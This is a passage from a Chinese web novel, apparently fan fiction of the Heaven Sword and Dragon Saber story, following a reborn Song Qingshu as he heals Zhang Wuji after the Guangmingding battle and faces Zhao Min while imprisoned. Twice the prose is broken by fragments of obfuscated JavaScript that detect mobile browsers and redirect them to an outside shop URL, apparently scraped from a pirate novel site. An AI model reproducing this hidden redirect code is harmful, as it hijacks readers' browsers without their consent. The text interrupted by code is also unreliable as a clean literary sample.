宋青书站在武当五人中间——宋远桥在前,俞莲舟在左,张松溪在右,殷梨亭和莫声谷在后。 一个简陋的真武五截阵,但好用。 像一道密不透风的墙,将他围得严严实实。 他看着父亲的背影,看着师叔们凝重的侧脸。忍不住在心里说:所以自己为什么要来呢? 简直像个最精心的累赘。 队伍开始向光明顶进发。山路崎岖,越往上走,喊杀声越清晰。血腥气混在风里,钻进口鼻,让人作呕。 宋青书被护在中间,一步一步往上走。他看见前面峨眉弟子砍倒一个明教教众,鲜血喷溅;看见华山派围攻一个重伤的法王,招招致命;看见昆仑派用暗器偷袭,那些细小的钢针扎进人身体里,带出一蓬蓬血花。 手几次摸向药箱,又生生忍住。 答应过父亲的。 不能救。 可那些呻吟声,那些濒死的喘息,像无数只手在拽他。他闭上眼,又睁开,眼前依旧是一片血海。 “青书,跟紧。”殷梨亭的声音在身后响起,带着少见的严肃。 宋青书麻木地点头,脚步机械地跟着。 到了总坛广场,惨状更甚。尸横遍野,残肢断臂到处都是。宋青书看见一个年轻弟子被砍断腿,正徒劳地用手去捂喷血的伤口;看见一个明教教众被刺穿腹部,肠子流了一地,却还在挣扎着想要爬起来。 他的手指深深掐进掌心,掐出血痕。 从他自废武功那天起,他的心就已经变成了医者之心,这些景象变成了不忍卒睹。 “别看。”俞莲舟侧身,挡住了他的视线。 可怎么挡得住? 声音,气味,还有那种死亡的气息,无孔不入。 47. 光明汇聚一线天6 昆仑山顶的雪,似是被天地间的戾气染得猩红。 宋青书立身于几位师叔之中。 他的目光紧紧锁定着战场中央,那里,他的师叔们正轮番与明教四大护教法王之首的白眉鹰王殷天正交锋,每一招每一式都牵动着他的心弦。 殷天正身着一袭玄色劲装,须发皆白,却精神矍铄,一双鹰眼炯炯有神,手持一柄白虹剑,剑势刚猛霸道,招招直取要害。 他成名数十年,鹰爪铁布衫已练至化境,周身气息沉凝如山,即便面对武当七子的车轮战,依旧面不改色,丝毫不落下风。 现在上阵的是七叔莫声谷。 莫七叔性情刚直,剑法灵动迅捷,只见他长剑出鞘,寒光一闪,便如一道流星般掠向殷天正,剑招“风扫落叶”,剑尖带着凌厉的破空之声,直刺殷天正的左肩。 殷天正不慌不忙,侧身避开剑锋,右手白虹剑顺势一格,“铛”的一声脆响,两剑相交,火花四溅。莫声谷只觉一股雄浑的内力从剑身传来,震得他虎口发麻,手臂酸麻不已,身形不由自主地向后退了三步。 但他并未气馁,调整气息后,再次挺剑上前,剑招愈发迅疾,“三环套月”“大魁星”“燕子抄水”,一招招武当精妙剑法接连使出,如行云流水般,将殷天正的周身要害尽数笼罩。 七叔的剑法已深得武当精髓,灵动飘逸,攻守兼备,殷天正的实力也实在太过强横,无论莫师叔的剑招如何刁钻,他总能从容应对,白虹剑舞得密不透风,如铜墙铁壁一般,将所有攻势尽数化解。 数十合过后,莫声谷额头上已布满了细密的汗珠,呼吸也变得有些急促,显然内力消耗极大。殷天正抓住一个破绽,白虹剑猛地一沉,避开莫声谷的剑锋,左手鹰爪闪电般探出,直取他的手腕。 莫声谷大惊失色,急忙撤剑回防,却还是慢了一步,被殷天正的鹰爪擦中手腕,一阵钻心的疼痛传来,长剑险些脱手。 他踉跄着后退数步,脸色惨白,手腕处已泛起一片乌青。 “七弟!退下!”大师伯宋远桥沉声道,语气中带着一丝担忧。 莫声谷咬了咬牙,不甘地瞪了殷天正一眼,才转身退回武当阵列,宋青书连忙上前,取出随身携带的疗伤药膏,递到莫声谷手中,低声道:“七师叔,您先敷上药膏,歇息片刻。”莫声谷点了点头,接过药膏,却依旧目光灼灼地盯着战场。 不远处,明教几个高层——杨逍、韦一笑、彭和尚等人瘫软在地,脸色灰败如土。他们被成昆暗算,中了他的“幻阴指”,此刻连抬起一根手指的力气都没有,只能眼睁睁看着教众被屠戮,看着殷天正独力苦撑。 刚才宋远桥、俞莲舟、张松溪、殷梨亭、莫声谷依次下场与殷天正交手。 武当剑法讲究中正平和,以柔克刚,五人虽未出全力,却也将殷天正的攻势一一化解。宋青书看着师叔们沉稳的剑招,还有他们点到即止的留手,神色淡然。 前世也是这样。武当不愿趁人之危,可大势所趋,不得不战。 不同的是,前世他也在场——不是被保护在中间,而是提着剑,热血沸腾地想要下场证明自己。他那时满脑子都是扬名立万,都是要在周芷若面前展现英姿。 而今生,他只能站在这里,像个旁观者。 不,不是旁观者。是医者。 他闭上眼,深吸一口气。 血腥气钻进鼻腔,带着死亡的味道,实在令他头目眩然。 当他再睁开眼时,广场上的局势已发生变化。 一道青影从人群中掠出。 青衫布履,正是那个化名曾阿牛的张无忌。 张无忌。 他终于站出来了。 他一招一式化解六大派的攻势,他以一人之力挡在明教众人面前。 和前世一模一样。 却又有些不同。 前世张无忌力挑六大派时,眼中更多的是无奈与挣扎。而此刻,他的眼神里多了份从容,多了份……了悟。 也不知道是什么使得他发生了这样的变化? 宋青书忽然想起前世那个狼狈的下午——他被嫉妒冲昏头脑,提着剑冲向张无忌,想要把张无忌从周芷若的心中抹掉。 可结果呢?张无忌甚至没有拔剑,只一掌拍出,掌风擦过他左右两边脸颊,留下火辣辣的疼痛和……高高肿起的羞辱。 那时他恨极了。恨张无忌当众羞辱他,恨周芷若眼中只有张无忌,恨自己为什么这么弱。 可如今想来…… 宋青书闭上眼,深吸一口气。 张无忌明明知道他是大师伯的儿子,明明可以用更温和的方式逼退他,为什么非要采取那种让人受辱的方式? 或许……是因为那时的自己,确实恶意满满吧。 提着剑冲上去时,眼中是杀意,心中是嫉妒,嘴里说的是“魔教余孽”。 对小昭粗声大气,说小昭和张无忌是“妖女邪男”。 那样的自己,凭什么要求张无忌留情? 而张无忌从那时起,大概……也就不怎么喜欢自己了吧。 这个认知让宋青书心口一窒。他睁开眼,看着广场中央那个独战群雄的身影,眼中涌起复杂的情绪。 对不起。 他在心里默念。 前世的那些嫉妒,那些恶意,那些伤害……对不起。 今生,我不会再那样了。 不知过了多久,战局突变。 周芷若的剑刺穿了张无忌的肺叶。 那一剑很快,很准,也很矛盾。既带着不想刺伤张无忌的犹疑不定,又带着灭绝师太传授的狠辣决绝。 张无忌踉跄后退,鲜血从伤口喷涌而出,染红了青衫。 宋青书瞳孔微缩,下意识往前踏了一步。 “青书!”殷梨亭按住了他。 他僵住,眼睁睁看着张无忌捂住伤口,脸色迅速苍白,却依然挺直脊梁,执意要护住明教。 和前世一样。 可这一次,宋青书的心境完全不同。 前世他看到这一幕时,心里除了震惊,竟还有一丝隐秘的快意——看,周芷若终究还是选择了峨眉,选择了师父,刺伤了这个让她心动的男人。 今生,他只感到疲累。 无法指责,这里只有自己是重活一世的人,假使让她或他也重活一世呢? “杨逍——”殷梨亭的声音嘶哑得不成样子,“你……你害死晓芙,今日……今日我要你偿命!” 话音未落,长剑已然出鞘。殷梨亭直扑杨逍而去。 “六弟!”宋远桥急喝。 可殷梨亭充耳不闻。他二十年的恨意,二十年的痛苦,二十年的不甘不会轻易解消。 杨逍瘫在地上,连抬手的力气都没有,只能眼睁睁看着剑锋刺来。 就在剑尖即将触及杨逍咽喉的刹那,一道身影横插而入。 是张无忌。 张无忌嘴角血迹未干,语气却异常坚定:“只要我还有一口气,便绝不容你们伤明教一人。” 殷梨亭握剑的手微微发颤:“那我只能先杀你。” 话音未落,张无忌又呕出一口鲜血,意识已近模糊。 他望着殷梨亭,轻声吐出三个字:“殷六叔……你杀了我罢。” 这一声“殷六叔”,语调神情竟与二十年前武当山上那个总跟在他身后的小小身影重叠。殷梨亭浑身一震,死死盯着眼前这张染血的脸——眉宇轮廓在记忆深处渐渐清晰起来。 “你……”殷梨亭的声音开始发抖,“你是……无忌?” 张无忌气若游丝,再也无力隐瞒,喃喃道:“殷六叔……我……我一直想着你们……” “当啷”一声,长剑落地。 殷梨亭扑跪下去,颤抖着手捧住张无忌的脸,泪水夺眶而出:“你是无忌……你真是无忌……是我五哥的孩子!” 这一声呼喊,如惊雷炸响。 宋远桥、俞莲舟、张松溪、莫声谷齐齐围拢,看清那张苍白面容的瞬间,九年的牵挂、担忧、悲痛,尽数化作失而复得的狂喜。六大派与明教的恩怨,在这一刻竟显得微不足道。 除了何太冲夫妇、周芷若、杨逍等寥寥数人尚能维持镇定,在场众人无不愕然——谁能想到这个拼死守护明教的少年,竟是武当张翠山的遗孤? 殷梨亭慌忙取出“天王护心丹”塞入张无忌口中,将人小心交给俞莲舟。他拾起长剑,转身冲向杨逍,剑尖直指对方心口,却因情绪太过激动,喉头哽住,竟连一句完整的斥骂都说不出。 杨逍瘫软在地,见长剑刺来,只是淡然一笑,闭目待死。 “住手!” 一道俏丽的身影突然从斜里冲出,张开双臂挡在杨逍身前。那少女身材高挑,眉目清丽,竟与殷梨亭记忆中纪晓芙的容貌有七八分相似。 殷梨亭的剑僵在半空,整个人如坠冰窟。 “不许你伤我爹爹!”少女声音清脆,却带着决绝。 殷梨亭怔怔望着她,恍惚间竟脱口唤出:“晓芙……你没……” “我姓杨,”少女直视着他,“纪晓芙是我母亲,她早已不在了。” 殷梨亭如遭雷击,半晌才喃喃道:“是了……我真是糊涂……”他重新握紧剑柄,“你让开,今日我定要为你母亲报仇。” 杨不悔却转身指向灭绝师太,眼神冰冷:“殷叔叔若要报仇,该去杀那老贼尼。” “什么?”殷梨亭愕然。 “我母亲是死在她掌下的。”杨不悔一字一句道,“当年在蝴蝶谷,她逼我母亲刺杀爹爹,母亲不从,她便下了毒手——这是我亲眼所见,张无忌哥哥也亲眼所见。殷叔叔若不信,不妨亲口问她。” 这些年杨不悔渐渐长大,当年模糊的记忆逐渐清晰,真相也越发分明。 殷梨亭猛地转向灭绝师太,眼中满是惊疑:“师太……她说纪姑娘是……” 灭绝师太面容枯槁,嘶声道:“不错。这等不知廉耻、叛离师门的孽徒,留之何用?她被杨逍强迫,生下这个孽种,最后宁违师命也不肯刺杀这恶贼。殷六侠,老尼顾全你颜面,隐忍多年未言。这等女子……又有何值得你念念不忘的?” “我不信!”殷梨亭嘶吼着,双目赤红。 “那你问问这丫头,”灭绝师太冷笑,“她叫什么名字?” 殷梨亭颤抖着望向杨不悔。泪眼模糊中,那张脸与纪晓芙几乎重叠。他听见少女清晰的声音: “我叫杨不悔。母亲说——这件事,她永远不后悔。” “啊——” 殷梨亭的身影消失在崎岖山道的尽头,那踉跄奔逃的姿态,像是要逃离一段纠缠了二十年的噩梦。 “六弟”“六哥”…… 宋远桥望着六弟消失的方向,重重叹了口气,却不得不先顾眼前——无忌的伤势已刻不容缓。 武当四侠盘膝而坐,将张无忌围在中央。宋远桥、俞莲舟、张松溪、莫声谷各出一掌,分抵张无忌胸、腹、背、腰四处大穴,精纯的纯阳内力如四道暖流缓缓渡入。 四人面色凝重,额角渐渐渗出细汗。 宋青书蹲在一旁,手指搭在张无忌腕脉上。他的眉头越蹙越紧——脉搏虽在九阳神功护持下勉强维持,可肺叶破损处的气息紊乱,心脉旁血管的裂痕仍在缓慢渗血。这样下去…… 于是在他爹和几位师叔闭目输内力的同时,他也打开了随身携带的药箱。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109866|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 冰魄银片泛着幽冷的寒光,冰魄银丝细如发丝却流转着奇异的光泽。他取出这两样器物,又拿出一个青玉小瓶,倒出些透明的药液涂抹在张无忌胸前的伤口周围。 这样重的伤,如果只靠内力温养,日后必会落下病根。 宋青书抬起眼,目光扫过父亲和几位师叔,心里想。 肺叶破损处若不自愈完全,每逢阴雨便会咳嗽胸痛;心脉旁的血管若愈合不当,随时可能再次破裂。 他要为张无忌缝合伤口——从内到外。 他也闭上眼,深深吸了一口气。当他再睁开眼时,那双总是沉静的眼眸里,泛起一种近乎透明的专注——那是将念力催动到极致的征兆。 十几年年来日夜修炼、救人时屡屡透支的念力,此刻如涓涓细流,缓缓汇聚于他的指尖。每救一次人,他的念力都会壮大一些。 此时他体内的念力已经与十年前不可同日而语了。 他拿起冰魄银片——那薄如蝉翼的金属在他指间微微颤动,仿佛有了生命。念力如丝如缕,缠绕其上,将银片温柔地包裹。 然后,他将银片贴近张无忌右胸的伤口。 没有用力刺入,银片在念力的牵引下,如游鱼入水般滑进那道剑伤。创口极小,几乎不见血流出。 在场离得近的人屏住呼吸,眼睁睁看着那银片消失在皮肉之下,仿佛被伤口“吞”了进去。 宋青书的全部心神都随着念力沉入张无忌体内。 在念力的“视野”中,一切都清晰起来——断裂的肺泡像破碎的花瓣,破损的血管如决堤的细流,还有那支离破碎的肺叶,每一次呼吸都会带来痛楚。 他引导着冰魄银片,如最灵巧的绣娘穿针引线。银片在破损的组织间穿梭,将那些断裂的部分一一贴合、固定。 念力化作无形的手,温柔地抚平每一处裂痕,连接每一段断裂。 这是一个耗费心神的过程。 一炷香的时间,在寂静中流逝。 他爹和师叔们都已经停止了给张无忌输送内力,只立在一旁静静地看着。 当最后一处肺叶裂痕被银片贴合固定时,宋青书长长吐出一口气。 肺部伤口已初步贴合,现在要缝合血管了。他的动作不知为何有些发虚,难道是因为张无忌是这本书的主人公?是顶重要的人物? 但是此时可容不得他多想。 他取出冰魄银丝。那细如发丝的管状物在月光下几乎看不见,却在念力的牵引下,如灵蛇般钻入左胸的伤口。这一次,他要处理的是心脉旁那处危险的血管裂痕。 银丝在念力的操控下,精准地找到裂口两端,如最细的针线般将血管重新连接。每一针都精准到毫厘,每一线都沉稳如磐石。血管缝合比肺叶贴合更加精细,稍有差池便可能功亏一篑。 宋青书的汗珠顺着额角滑落,滴在张无忌胸前的纱布上,晕开小小的深色圆点。他的身形微微摇晃。 “青书……”宋远桥忍不住开口。 “就快好了。”宋青书咬紧牙关,继续催动念力。 终于,最后一处血管缝合完毕。他拔出银丝,那微小的创口几乎瞬间愈合。然后,他用普通的鱼筋线缝合了最外层的皮肉伤口——针脚细密均匀,力求日后疤痕最小。 做完这一切,宋青书整个人晃了晃。 俞莲舟眼疾手快扶住他:“青书!” “我没事……”宋青书靠在二师叔肩上,声音虚弱得几乎听不见,“只是……又累了……” 他抬眼看向地上的张无忌。 那张苍白的脸已渐渐恢复血色,呼吸也变得平稳悠长。最明显的变化是——之前那两道伤口处不再有鲜血渗出。 张无忌缓缓睁开眼睛。 他第一感觉是——痛。 胸口两道剑伤依旧火辣辣地疼,每一次呼吸都牵扯着新缝合的组织。可这种痛,与之前的濒死感截然不同。之前的痛是涣散的、吞噬一切的,仿佛整个胸腔都在燃烧、碎裂;而现在的痛是清晰的、有边界的,仿佛破损处已被温柔地包裹、修复。 更奇妙的是,他能感觉到——肺叶的裂痕处,有什么冰凉柔韧的东西贴合着,将那些破碎的部分牢牢固定;心脉旁的血管,也被同样柔韧的东西重新连接。每一次心跳,血液流过那些缝合处时,都能感受到细微却坚实的支撑。 他试着深吸一口气。 还是痛,可那种肺部漏气、呼吸艰难的感觉消失了。空气顺畅地流入,虽然带着疼痛,却是完整的、连续的。 “感觉如何?”一个虚弱的声音在耳边响起。 张无忌转过头,看见宋青书苍白的脸。那双总是沉静的眼睛此刻尽是疲惫。 “好多了……”张无忌哑声回答,每一个字都牵动着伤口,却不再是撕裂般的剧痛,“青书师兄。” 张无忌心想:现在他已经长大了,青书哥哥只能在心里叫。 “别说话。”宋青书轻轻摇头,“伤口刚缝合,需要静养。”“无忌师弟,你的伤已初步稳定。但肺部伤口需七日才能初步愈合,心脉旁的血管更需半月。这期间绝不可动武,不可情绪激动,否则伤口可能崩裂。” 张无忌感受着胸口那两道被精心缝合的伤口,感受着体内那股温厚醇正的九阳真气缓缓流转,修复着受损的经脉。 他忽然想起很多年前,在武当山上寒毒发作时,也是这个人守在他身边,耐心喂他服下苦涩的汤药。 那时宋青书说:“无忌别怕,哥哥在。” 而今生,在他濒死之际,还是这个人,用他的医术,治疗他破裂的肺叶。 他的心里突然产生了一种想法。 他不想要眼前的这个人这么累。 48. 百尺高塔已翩然 药箱在莫声谷手里提着。 那里面还有不少好东西——都是这些年来他潜心研制的成果。有些是救命的良药,有些是疗伤的圣品,还有些……或许能解某些棘手的阴毒功夫。 他爹和师叔正在跟张无忌说话。 宋青书轻声道:“四叔,过来一下。” 张松溪依言。众人都望过来,宋远桥问:“青书,怎么了?不舒服么?” 宋青书摇摇头,艰难地打开箱子,在层层药材和瓶罐间翻找片刻,取出一只巴掌大小的白玉瓶。 瓶身温润,触手生凉,上面没有贴签,只在瓶底刻着一个小小的太极图。 “无忌,”宋青书转过头,看向一旁被殷梨亭搀扶着的张无忌,“这个给你。” 张无忌接过玉瓶,入手沉甸甸的,瓶塞封得极严。他疑惑道:“青书师兄,这是……” “这瓶丹药,或许对解除阴毒的功夫有用。”宋青书的声音很轻,却清晰地传进每个人耳中。 张无忌握着玉瓶,心中却掀起波澜。他想起成昆偷袭时那股刺骨的寒意,想起杨逍等人瘫软在地、面色青白的模样。若这丹药能解幻阴指之毒…… “青书师兄,这药……”他欲言又止。 宋青书知道他想问什么,轻声道:“这药炼制不易,药材难得,我也只得了这一瓶。你拿去,给需要的人。” 他顿了顿,声音更低:“虽然我对那几位明教高手的行事……心里并不是那么赞同。” 这话说得坦诚。杨逍的偏激,韦一笑的狠辣,五散人的乖张——这些他都看在眼里,记在心里。前世的恩怨,今生的观感,让他对这些人实在生不出太多好感。 可是…… 但无忌既然要接下明教这个担子,宋青书抬眼看向张无忌,眼中神色复杂,既然注定要为他们操心劳力……我总希望能为他减轻些负担。 青书哥哥总是这样。话不多,却把能想到的都想到了;表面疏离,却把能做的都做了。 为他炼制解玄冥神掌的丹药,在崖顶用丹药救韦一笑,今日又为他缝合伤口、赠他疗伤圣药,现在…… “青书师兄,”张无忌声音哽咽,“谢谢你……” “不必谢我。”宋青书摇摇头,重新伏回张松溪背上,声音里满是疲惫,“无忌,等你的伤好了,一定得回来武当。” 张无忌握紧玉瓶,感受着那温凉的触感,心中涌起一股暖流。他将玉瓶小心收进怀中,“我会的。” 宋青书是在一片昏暗中醒来的。 意识像沉在深水里的石头,一点点浮上来。他睁开眼,视线模糊了好一会儿才逐渐清晰——头顶是木质的横梁,年代久远,泛着深褐色的光泽。空气里有股陈旧的灰尘味,混着一丝若有若无的霉气。 他马上就意识到自己在哪里了。 万安寺。 他动了动,发现自己躺在一张简陋的木板床上,身上盖着条薄毯。 床边不远处,父亲宋远桥靠墙坐着,闭目养神。 俞莲舟和张松溪在对弈——没有棋盘棋子,两人只是以手指在石地上虚画,神情专注。莫声谷蜷在角落,睡得正熟。 宋青书心中了然。果然,和前世一样,六大派下光明顶后,被赵敏设计擒获,关进了这座高塔。 宋青书觉得自己的身体好像得到了充分的休息,但是全身又酸软无力,无法动弹。 看来我也中了“十香软筋散”。 也许自己的念力可以化解十香软筋散的毒性,但是不知为何他暂时还不想化解。 又想起前世他被关进来时,满心愤懑不甘,总想着如何脱身,如何……在周芷若面前证明自己。 那时赵敏很快注意到他,以周芷若为要挟,逼他用木剑与阿大、阿二、阿三比武,旁观偷学武当剑法。 而今生…… 宋青书缓缓坐起身。他发现自己衣衫完整,药箱竟也放在床头——虽然里面的瓶瓶罐罐少了大半,显然是被人检查过,取走了一些可疑之物,但基本的药材和银针还在。 “青书醒了?”宋远桥睁开眼,声音平和。 “嗯。”宋青书点头,声音还有些沙哑,“我们……被关多久了?” “两天一夜。”张松溪抬起头,苦笑道,“那郡主好手段,在饮食中下了‘十香软筋散’,我等竟毫无察觉。” 宋青书沉默。他知道赵敏的手段——那位绍敏郡主聪慧机敏,行事不拘一格,既能以智谋算计六大派,也能以真心待张无忌。 这一世他虽无武功,与周芷若也无交集,但……或许还是免不了要与她打交道。 不知过了多久。 门外传来杂乱的脚步声,不止一人。 门开了,刺眼的光线涌进来。宋青书眯起眼,看见三个蒙古武士站在门口,为首的是个满脸横肉的汉子,腰间佩着弯刀。 “宋青书,郡主有请。”那汉子用生硬的汉语说道。 宋远桥立刻站起身,挡在儿子面前:“何事?” “郡主的事,我们做下人的怎么知道?”汉子不耐烦地挥手,“带走!” 两名武士上前就要抓人。俞莲舟和莫声谷同时起身,拦在宋青书身前。虽然他们内力被封,十香软筋散的药力未散,可武当七侠的气度仍在,只是站在那里,便让那两个武士脚步一顿。 “要带青书走,先过我们这关。”莫声谷声音沙哑,眼中却满是坚定。 那为首的汉子冷笑:“几位大侠,别忘了你们现在是阶下囚。郡主客气,才让你们好吃好喝待着。若真动起手来……”他拍了拍腰间的刀,“刀剑可没长眼睛。” 气氛骤然紧张。 宋青书轻轻叹了口气。他站起身,走到几位师叔面前:“四叔,七叔,没事的。” “青书!”莫声谷急道,“谁知道那妖女要做什么?你不能去!” “是啊师兄,”“要带就带我们走!” “几位师叔放心,”宋青书声音平静,却带着不容置疑的笃定,“赵敏不会杀我们。” “你如何知道?”俞莲舟沉声问。 “她若想杀我们,光明顶下就可动手,何必等到现在?”宋青书缓缓道,“将我关在此处,好吃好喝供着,又请我去讲解剑法——这不像对待敌人的态度。” 张松溪沉吟了一会说:“青书说的是,若她真想对我们不利,我们如今内力被封,也拦不住。与其做无谓的冲突,不如让青书去一趟,看看她到底想做什么。” 这话说得有理有据,武当众人都沉默了。 宋青书却微微一怔。四师叔果然心思缜密。 “总之,”宋青书抬起头,看着几位师叔,眼神澄澈,“我不会有事。请几位师叔在此安心等待,切勿冲动。” 他说得很笃定。 那为首的汉子却等得不耐烦了:“啰嗦什么!走不走?” “走。”宋青书转身,朝门口走去。走了两步,又回头,朝几位师叔深深一揖:“我去去就回,请师叔们勿念。” 说完,他不再停留,跟着武士走出了囚室。 宋青书被两个蒙古武士带出囚室时,天色已近黄昏。万安寺的高塔在夕阳下投出长长的影子,像一只蛰伏的巨兽。 他被带到塔下的一处庭院。院子不大,青石板铺地,四周栽着些枯瘦的梅树——时节不对,枝头空空,更添几分萧索。 院子中央站着三个人。阿大、阿二、阿三——赵敏手下最得力的三个剑客,此刻抱剑而立,目光如刀。 他们身旁,周芷若也被两名武士押着,素净的僧衣上沾了尘土,头发也有些散乱,可那双眼睛依旧清冷,不见半分惧色。 赵敏坐在廊下的太师椅上,一身男装,手中把玩着一柄玉骨折扇。见宋青书被带来,她微微一笑:“宋少侠,休息得可好?” 宋青书没有回答,只是平静地看着她。 赵敏也不恼,用扇子指了指周芷若:“这位周姑娘,宋少侠想必认识。峨嵋高徒,姿容绝世,真是我见犹怜。” 周芷若冷冷瞥了她一眼,没说话。 “郡主有话不妨直说。”宋青书开口,声音平静无波。 “好,爽快。”赵敏站起身,走到庭院中央,“我想见识武当剑法。可惜听说宋少侠说自己武功尽废,无法演示。所以……”她转向周芷若,“我只能请周姑娘帮个忙了。” 话音未落,一名武士拔出腰刀,架在周芷若颈边。刀刃锋利,在夕阳下泛着寒光。 周芷若身体微僵,却依旧昂着头,眼神冷得像冰。 “郡主这是何意?”宋青书皱眉。 “很简单。”赵敏摇着扇子,笑容甜美却带着寒意,“宋少侠若不肯使武当剑法,我便砍下周姑娘一根手指。一根不够,就两根。十根手指砍完,还有脚趾。总之……直到宋少侠肯出手为止。” 这话说得轻描淡写,却让在场所有人都变了脸色。连阿大三人都不由自主地握紧了剑柄。 周芷若咬牙道:“妖女!要杀便杀,何必如此折辱!” “折辱?”赵敏轻笑,“周姑娘误会了。我只是想请宋少侠露一手罢了——毕竟武当剑法名震江湖,若能一观,实乃幸事。” 她看向宋青书:“宋少侠,意下如何?” 宋青书沉默。 前世的画面在脑海中浮现——那时他被逼着与阿大三人过招,赵敏在旁观看,周芷若被缚在一旁,眼中满是屈辱与担忧。他一心想要表现,想要在周芷若面前证明自己,结果破绽百出,不仅让赵敏偷学了剑法,还让武当蒙羞。 而今生…… 他没有武功。 对周芷若,也早已没了那份执念。 “郡主,”宋青书缓缓开口,“在下确实武功尽废,无力使剑。郡主若不信,大可请人查验。” 赵敏挑眉:“查验就不必了。我只问一句——宋少侠当真不出手?” “无力出手。” “好。”赵敏笑容转冷,“那便对不住周姑娘了。” 她抬手,正要下令—— “且慢。” 宋青书忽然开口。他往前走了一步,看着赵敏,眼神平静得有些反常:“郡主真想看武当剑法?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109867|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “自然。” “那好。”宋青书点头,“在下虽无力使剑,却还记得招式。郡主若不嫌弃,我可口述剑诀,郡主让人依样演练便是。” 这话一出,连周芷若都愣住了。 口述剑诀?让人依样演练? 武当剑法精妙无比,岂是听几句口诀就能学会的? 赵敏显然也是这么想的。她嗤笑一声:“宋少侠是在消遣我?” “不敢。”宋青书平静道,“只是郡主既然想看剑法,这已是唯一的方法。至于能领悟多少……就看郡主手下悟性了。” 他顿了顿,补充道:“或者,郡主也可亲自下场——在下可口述,郡主可演练。只是不知……郡主有没有这个胆量?” 这话带着明显的挑衅。赵敏眼中寒光一闪,却忽然笑了:“有意思。宋少侠这是要教我武当剑法?” “郡主想学,在下可教。”宋青书坦然道,“只是能否学会,全凭郡主自己。” 两人对视。夕阳将他们的影子拉得很长,在青石板上交错。 许久,赵敏缓缓点头:“好。那我就听听,宋少侠如何口述剑法。” 她示意武士放开周芷若,自己走到庭院中央,从阿大手中接过一柄木剑——那是早就准备好的。 “请宋少侠赐教。”赵敏持剑而立,笑容里带着玩味。 宋青书看着她,心中想——赵敏还是那个赵敏,聪慧机敏,多的是玩弄人心的狡黠。 他不再多想,缓缓开口: “武当剑法第一要义——以静制动。郡主请站定,握剑放松,呼吸平稳。” 赵敏依言站好。她天资聪颖,悟性极高,这一站竟真有几分武当弟子的沉稳气度。 “第二要义——以柔克刚。”宋青书继续道,“剑非利器,而是手臂之延伸。出剑时不可用蛮力,要以腰为轴,以意导气,以气运剑。” 他一边说,一边缓步走到赵敏身侧,伸手轻轻托了托她的手腕:“此处不可僵直。松而不懈,紧而不僵。” 宋青书的指尖冰凉,当他的指尖触及赵敏温热的皮肤时她微微一怔。 “继续。”赵敏很快恢复常态。 “第三要义——后发制人。”宋青书收回手,声音依旧平静,“武当剑法不重先手,重在应对。对手出招时,破绽自现。郡主可先练‘听劲’——感知对手劲力走向,顺势而为。” 他顿了顿,看向阿大:“这位壮士,可否与郡主对练一招?” 阿大看向赵敏,见她点头,便提剑上前。 “郡主请听好。”宋青书道,“对方刺你右肩,你无需格挡,只需侧身半步,同时剑尖上挑,攻他腋下。” 话音未落,阿大已一剑刺出——正是右肩。 赵敏依言侧身,木剑上挑。这一下时机精准,阿大若不收剑,腋下必被刺中。他急忙变招,后撤半步。 “好!”赵敏眼中一亮,“果真精妙!” 宋青书却摇头:“郡主侧身时肩膀微耸,暴露了意图。武当剑法讲究‘无形’,要让对手看不出你要做什么。” “那该如何?”赵敏虚心请教。 “肩要松,腰要活,步要稳。”宋青书言简意赅,“再来。” 阿大再次出剑。这一次赵敏调整姿态,侧身时果然更加自然流畅。木剑上挑的时机也把握得更好,逼得阿大连退两步。 庭院里一时只剩下剑风破空声和宋青书平缓的讲解声。夕阳渐渐沉落,天边泛起瑰丽的霞光。 周芷若站在一旁看着这一幕。 宋青书——从容淡定的宋青书,他讲解剑法时,眼中没有半分炫耀,只有医者讲解病理般的专注与平和。 仿佛武当剑法于他,不过是另一种需要解析的“病症”。 而赵敏在认真学——那位向来眼高于顶、行事乖张的绍敏郡主,此刻像个求知若渴的学生,一招一式都力求完美。 这画面……着实诡异。 约莫半个时辰后,赵敏收剑。她额角渗出细汗,气息微喘,眼中却闪着兴奋的光。 “宋少侠,”她看着宋青书,笑容真诚了几分,“今日受教了。武当剑法……果然名不虚传。” “郡主天资聪颖,一点即通。”宋青书淡淡道,“不过这只是皮毛。真正的武当剑法,还需数年苦功。” “我明白。”赵敏点头,忽然话锋一转,“不过宋少侠既然肯教我剑法,为何先前不肯出手救周姑娘?” 她看向周芷若,眼中带着探究:“我听说,宋少侠曾对周姑娘……” 宋青书及时打断她,“在下与周姑娘,只是同属正道,并无私交。” 他说得坦荡。 赵敏盯着他看了许久,忽然笑了:“宋少侠武功尽废,却医术通神;对美人无意,却肯为救人耗尽心力;身处囚笼,却还能如此从容……” “郡主过奖。”宋青书垂下眼。 赵敏转身,对阿大道:“送宋少侠回去。好生招待,不可怠慢。” 这宋青书……可当真是个妙人。 赵敏对他产生了浓厚的兴趣。 49. 百尺高塔已翩然2 宋青书又被两个武士一前一后夹着,走在青石板铺就的小径上。 路旁的梅树依旧枯瘦,可仔细看,枝头已冒出点点嫩芽——春天,终究是要来的。 好像从那一日起,赵敏就对他生了一些说不清的兴致。 她对武当的人确实是以礼相待。 但是这已经是她第二次把他叫过去,师叔们当中似乎只有张松溪被她叫过去一次。 穿过几重院落,来到一处僻静的偏殿。殿门开着,里面陈设简单,只有一桌一椅,桌上摆着茶具。赵敏坐在桌旁,正低头看着什么。 “郡主,人带到了。”为首的武士躬身道。 赵敏抬起头,挥了挥手:“下去吧。” 武士退下,殿内只剩下两人。 